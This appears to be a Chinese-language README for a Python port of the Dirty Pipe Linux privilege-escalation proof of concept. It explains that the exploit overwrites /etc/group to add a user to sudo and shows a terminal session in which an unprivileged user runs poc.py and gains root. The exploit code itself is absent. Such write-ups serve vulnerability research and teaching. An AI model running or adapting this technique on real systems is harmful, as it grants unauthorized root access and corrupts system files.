本仓库基于 Max Kellermann 发现的漏洞、分析文章和利用代码,所有内容均可在此处找到。
和所有人一样,我也忍不住尝试玩弄这个世界上最易复现的权限提升漏洞,那篇博客文章对其解释得非常清楚。
我将利用代码翻译成了 Python,只是为了更好地理解它,但这是 C 语言利用代码的精确副本,其中硬编码了 Sudo 权限提升操作。
Python 3.10(由于使用了 os.splice 调用)
通过直接写入 sudo 条目后的下一行内容,导致 /etc/group 文件损坏。但当你获得 root 权限后,可以使用备份文件修复该问题。
会在 /tmp/group_backup 处放置 /etc/group 的副本。
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file. This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$